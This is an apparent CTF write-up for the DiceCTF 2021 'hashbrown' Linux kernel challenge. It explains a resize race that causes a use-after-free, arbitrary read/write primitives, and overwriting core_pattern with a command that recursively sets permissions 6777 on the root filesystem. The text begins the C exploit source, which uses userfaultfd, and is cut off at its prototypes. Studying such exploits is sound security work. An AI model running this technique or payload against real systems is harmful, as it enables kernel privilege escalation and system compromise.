&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;hashmap_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;file, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; request;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ADD_KEY) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hashmap.entry_count &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; hashmap.threshold &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hashmap.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; SIZE_ARR_MAX) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;resize_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resize&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)arg);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;resize_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;operations_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;request, (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)arg, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;))) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ADD_KEY &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; hashmap.entry_count &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAX_ENTRIES) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; MAXED;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(request.key, hashmap.size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;switch&lt;/span&gt; (cmd) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;operations_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we can see, we can trigger &lt;code&gt;resize&lt;/code&gt; function and other modification functions.
And in &lt;code&gt;resize&lt;/code&gt; function, there is a entry-copy mechanism which allocate new heap chunk and copy old entry&amp;rsquo;s data to new one.
After copying, delete old hashmap&amp;rsquo;s bucket using &lt;code&gt;resize_clean_old&lt;/code&gt; and set hashmap&amp;rsquo;s bucket to new one:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resize&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hash_entry &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;new_buckets, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp_entry, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; request;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp_data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; new_size, new_threshold, new_idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i, duplicate;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  duplicate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; hashmap.size; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hashmap.buckets[i]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hashmap.buckets[i]; temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;next) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; request.key) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          duplicate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        new_idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key, new_size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(hash_entry), GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_add&lt;/span&gt;(new_idx, temp, new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;duplicate) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    new_idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(request.key, new_size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(hash_entry), GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp_data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(request.size, GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp_data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(temp_data, request.src, request.size)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp_data);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; request.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; request.key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;next &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_add&lt;/span&gt;(new_idx, temp, new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hashmap.entry_count&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_clean_old&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.threshold &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_threshold;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.buckets &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_buckets;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; (duplicate) &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; EXISTS : &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;make-uaf-and-get-controlled-entry&#34;&gt;Make UAF and get controlled entry&lt;/h3&gt;
&lt;p&gt;So, if we delete the value after copying and before &lt;code&gt;resize_clean_old&lt;/code&gt;, there will be freed value in new bucket.
Since size of &lt;code&gt;hash_entry&lt;/code&gt; is 0x20, we can get controll to entry with freed value in new bucket (see &lt;code&gt;construct_corrupted_entry&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;aaraaw&#34;&gt;AAR/AAW&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;hash_entry&lt;/code&gt;, &lt;code&gt;size&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt; member exist. So we can make AAR and AAW primitives using them (see &lt;code&gt;aar&lt;/code&gt; and &lt;code&gt;aaw&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;find-core_pattern-and-overwrite-it&#34;&gt;Find core_pattern and overwrite it&lt;/h3&gt;
&lt;p&gt;Although we can read and write at arbitrary address, there is a limit to do reading because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source/mm/usercopy.c#L256&#34;&gt;&lt;code&gt;__check_object_size&lt;/code&gt;&lt;/a&gt;.
But, I can leak some address in kernel area (see &lt;code&gt;find_kernel_address&lt;/code&gt;). And using it, I can find kernel base (see &lt;code&gt;find_core_pattern_address&lt;/code&gt; and the few lines after calling it).&lt;/p&gt;
&lt;p&gt;Then since we can read and write at arbitrary address and we know the &lt;code&gt;core_pattern&lt;/code&gt; address, overwrite &lt;code&gt;core_pattern&lt;/code&gt; with &amp;ldquo;|/bin/chmod 6777 -R /&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;549712386&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;549712386&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);
static int register_uffd(void* addr, size_t len, void* (*handler)(void*));

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

#define VULN_DEV_NAME &amp;#34;hashbrown&amp;#34;

#define VULN_DEV_CMD_ADD_KEY 0x1337
#define VULN_DEV_CMD_DELETE_KEY 0x1338
#define VULN_DEV_CMD_UPDATE_VALUE 0x1339
#define VULN_DEV_CMD_DELETE_VALUE 0x133a
#define VULN_DEV_CMD_GET_VALUE 0x133b

#define VULN_DEV_CONST_SIZE_ARR_START 0x10
#define VULN_DEV_CONST_SIZE_ARR_MAX 0x200
#define VULN_DEV_CONST_MAX_ENTRIES 0x400
#define VULN_DEV_CONST_MAX_VALUE_SIZE 0xb0
#define VULN_DEV_GET_THRESHOLD(size) (size - (size &amp;gt;&amp;gt; 2))

#define VULN_DEV_RESULT_INVALID 1
#define VULN_DEV_RESULT_EXISTS 2
#define VULN_DEV_RESULT_NOT_EXISTS 3
#define VULN_DEV_RESULT_MAXED 4

typedef struct {
  uint32_t key;
  uint32_t size;
  char* src;
  char* dest;
} request_t;

static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_key(uint32_t key);
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_value(uint32_t key);
static int vuln_dev_get_value(uint32_t key, void* out, uint32_t size);

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size);
